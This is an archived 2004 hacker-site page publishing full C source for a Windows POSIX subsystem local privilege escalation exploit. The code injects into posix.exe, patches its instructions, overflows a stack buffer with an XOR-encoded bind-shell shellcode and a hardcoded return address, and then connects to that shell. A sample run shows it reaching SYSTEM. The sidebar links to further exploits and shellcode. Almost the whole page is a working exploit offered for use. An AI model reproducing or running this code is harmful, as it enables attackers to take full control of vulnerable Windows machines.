快速通道

**文档分类**

- 软件作品
- 文档作品
- **代码作品**

<=

**推荐作品**

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

# Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit

提交作品： bkbll
提交日期： 2004-07-16
作品属性： 推荐
文档类别： 代码作品
浏览次数： 今6次/总2220次

```
/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit
*
* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
*
* Posixexp.c By bkbll (bkbll#cnhonker.net,bkbll#tom.com)
http://www.cnhonker.com
*
* 2004/07/16
*
* thanks to eyas#xfocus.org
*
*
C:\>whoami
VITUALWIN2K\test

C:\>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) http://www.cnhonker.com

pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
     pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
     pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
           [-t device] [-x format] [pathname...]
     pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory

For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>exit
[+] Connection closed in exit command.
```

```
C:\>

*/

#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

#define PATCHADDR 0x0100343D        //需要动态修改posix.exe的位置
#define MEMSIZE 0x350
#define CODESIZE 50
#define bind_port_offset        116
#define RETADDR 0x796E9B53      //advapi32.dll jmp esp
// [ebp-0x200]  [saved ebp] [saved eip]
#define EIPLOCATION 0x200+4-12     //12是"\DosDevices\"的长度
#define CANWRITEADDR 0x7ffdf02c        //该地址+0x20要可写
#define VERSION   "1.0"

unsigned short bindport = 60000;

unsigned char jmpcode[]=
"\x33\xC0"        //xor eax,eax
"\x66\xB8\xc0\x01"    //mov ax,0x1ff
"\x40"           //inc eax
"\x2B\xE0"        //sub esp,eax
"\xFF\xE4"        //jmp esp
"\x00";           //\0 zero NULL

unsigned char bind_shell[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff"
/* 302 bytes shellcode, xor with 0xee */
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
"\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5"
;

int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);

main()
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   LPVOID pdwCodeRemote;
   unsigned int cbMemSize = MEMSIZE;
   DWORD dwOldProtect,dwNumBytesXferred;
   unsigned char buffer[MEMSIZE];
```

```
    unsigned int buflen=0;
    unsigned char textbuf[CODESIZE];
    int i;
    unsigned short lports;
    char cmdarg[400];
    char systemdir[MAX_PATH+1];
    WSADATA    wsd;
    SOCKET sockfd;

    printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation
Exploit(%s)\n",VERSION);
    printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com)
http://www.cnhonker.com\n\n");
    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
    {
        printf("[-] WSAStartup error:%d\n", WSAGetLastError());
        return -1;
    }

    i = GetWindowsDirectory(systemdir,MAX_PATH);
    systemdir[i]='\0';
    _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %
s\\system32\\pax.exe /C pax -h",systemdir,systemdir);
    //printf("cmdarg:%s\n",cmdarg);
    //exit(0);
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory( &pi,sizeof(pi));
    //create process
    //先让psxss运行起来
    if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
    {
          printf("CreateProcess1 failed:%d\n", GetLastError());
          return 0;
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    //再运行一次
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory( &pi,sizeof(pi));
    if(!CreateProcess(NULL, cmdarg, NULL, NULL,
TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
    {
          printf("CreateProcess2 failed:%d\n", GetLastError());
          return 0;
    }
    //alloc from remote process
    pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL,
cbMemSize,MEM_COMMIT |
MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
    if (pdwCodeRemote == NULL)
    {
        TerminateProcess(pi.hProcess,0);
        printf("VirtualAllocEx failed:%d\n",GetLastError());
        return 0;
    }
    printf("Remote addr:0x%08x\n",pdwCodeRemote);
    //we can write and execute
    if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote,
cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect))
    {
        TerminateProcess(pi.hProcess,0);
        printf("VirtualProtectEx failed:%d\n",GetLastError());
        return 0;
    }
    //make shellcode
```

```
    lports = htons(bindport)^0xeeee;
    memcpy(bind_shell+bind_port_offset,&lports,2);

    memset(buffer,'\x90',MEMSIZE);
    //memset(buffer,'A',EIPLOCATION);
    buffer[MEMSIZE-1] = '\0';
    i=sizeof(bind_shell)-1;
    if(i >= EIPLOCATION)
    {
        printf("shellcode so large:%d,must < %d\n",i,MEMSIZE);
        TerminateProcess(pi.hProcess,0);
        return 0;
    }
    i=EIPLOCATION-i;
    memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
    *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //覆盖eip
    *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //覆盖第一
个参数
    memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
    //write in to target
    buflen=MEMSIZE;
    if(!WriteProcessMemory
(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred))
    {
        TerminateProcess(pi.hProcess,0);
        printf("WriteProcessMemory failed:%d\n",GetLastError());
        return 0;
    }
    //modified the process .text
    if(!VirtualProtectEx(pi.hProcess,(LPVOID)
PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect))
    {
        TerminateProcess(pi.hProcess,0);
        printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError
());
        return 0;
    }
    //创建要修补的内容
    i = 0;
    textbuf[i++]='\xbf';
    textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov
edi,pdwCodeRemote
    textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
    textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
    textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
    //替换跳转指令
    textbuf[i++]='\xeb';
    textbuf[i++]='\x09'; //jmp .+0b
    //写进进程中
    if(!WriteProcessMemory(pi.hProcess,(LPVOID)
PATCHADDR,textbuf,i,&dwNumBytesXferred))
    {
        TerminateProcess(pi.hProcess,0);
        printf("WriteProcessMemory failed:%d\n",GetLastError());
        return 0;
    }
    ResumeThread(pi.hThread);
    Sleep(5);
    sockfd=WSASocket(2,1,0,0,0,0);
    if(sockfd == INVALID_SOCKET)
    {
        printf("[-] WSASocket error:%d\n", WSAGetLastError());
        return -1;
    }
    if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
    {
```

```
        closesocket(sockfd);
        printf("[-] Maybe not success?\n");
    }
    readwrite(sockfd);
    TerminateProcess(pi.hProcess,0);
    WaitForSingleObject(pi.hProcess, INFINITE);
}

int readwrite(SOCKET fd)
{
    fd_set fdr1;
    unsigned char buffer[1024];
    int istty,ct1,ct2;
    struct timeval  timer;

    memset(buffer,0,sizeof(buffer));
    istty=_isatty(0);
    timer.tv_sec=0;
     timer.tv_usec=0;

    while(1)
    {

        FD_ZERO(&fdr1);
        FD_SET(fd,&fdr1);
        ct1=select(0,&fdr1,NULL,NULL,&timer);
        if(ct1==SOCKET_ERROR)
        {
            printf("[-] select error:%d\n",GetLastError());
            break;
        }
        if(FD_ISSET(fd,&fdr1))
        {
            ct1=recv(fd,buffer,sizeof(buffer)-1,0);
            if((ct1==SOCKET_ERROR) || (ct1==0))
            {
                printf("[-] target maybe close the socket.\n");
                break;
            }
            if(_write(1,buffer,ct1)<=0)
            {
                printf("[-] write to stdout error:%d\n",GetLastError());
                break;
            }

            memset(buffer,0,sizeof(buffer));
        }
        if(istty)
        {
            if(_kbhit()) /* stdin can read */
            {


                ct1=read(0,buffer,sizeof(buffer)-1);
                if(ct1 <= 0)
                {
                    printf("[-] read from stdin error:%d\n",GetLastError());
                    break;
                }
                ct2=send(fd,buffer,ct1,0);
                if((ct2==SOCKET_ERROR) || (ct2==0))
                {
                    printf("[-] target maybe close the socket.\n");
                    break;
                }
                if( strnicmp(buffer, "exit", 4) == 0)
                {
```

```
                printf("[+] Connection closed in exit command.\n");
                break;
            }
            memset(buffer,0,sizeof(buffer));
        }
    }
    else
    {
        ct1=read(0,buffer,sizeof(buffer)-1);
        if(ct1<=0)
        {
            printf("[-] read from nontty stdin error:%d\n",GetLastError());
            break;
        }
        ct2=send(fd,buffer,ct1,0);
        if((ct2==SOCKET_ERROR) || (ct2==0))
        {
            printf("[-] target maybe close the socket\n");
            break;
        }
        if( strnicmp(buffer, "exit", 4) == 0)
        {
            printf("[+] Connection closed in exit command.\n");
            break;
        }
        memset(buffer,0,sizeof(buffer));
    }
  }
  return(1);
}


/* 连接指定server 和port */
int client_connect(int sockfd,char* server,int port)
{
  struct sockaddr_in cliaddr;
  struct hostent *host;
  short port2;

  port2=port & 0xffff;

  if((host=gethostbyname(server))==NULL)
  {
    printf("gethostbyname(%s) error\n",server);
    return(-1);
  }

  memset(&cliaddr,0,sizeof(struct sockaddr));
  cliaddr.sin_family=AF_INET;
  cliaddr.sin_port=htons(port2);
  cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
  if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
  {
    printf("[-] Trying %s:%d error\n",server,port);
    closesocket(sockfd);
    return(-1);
  }
  //printf("ok\r\n");
  return(0);
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net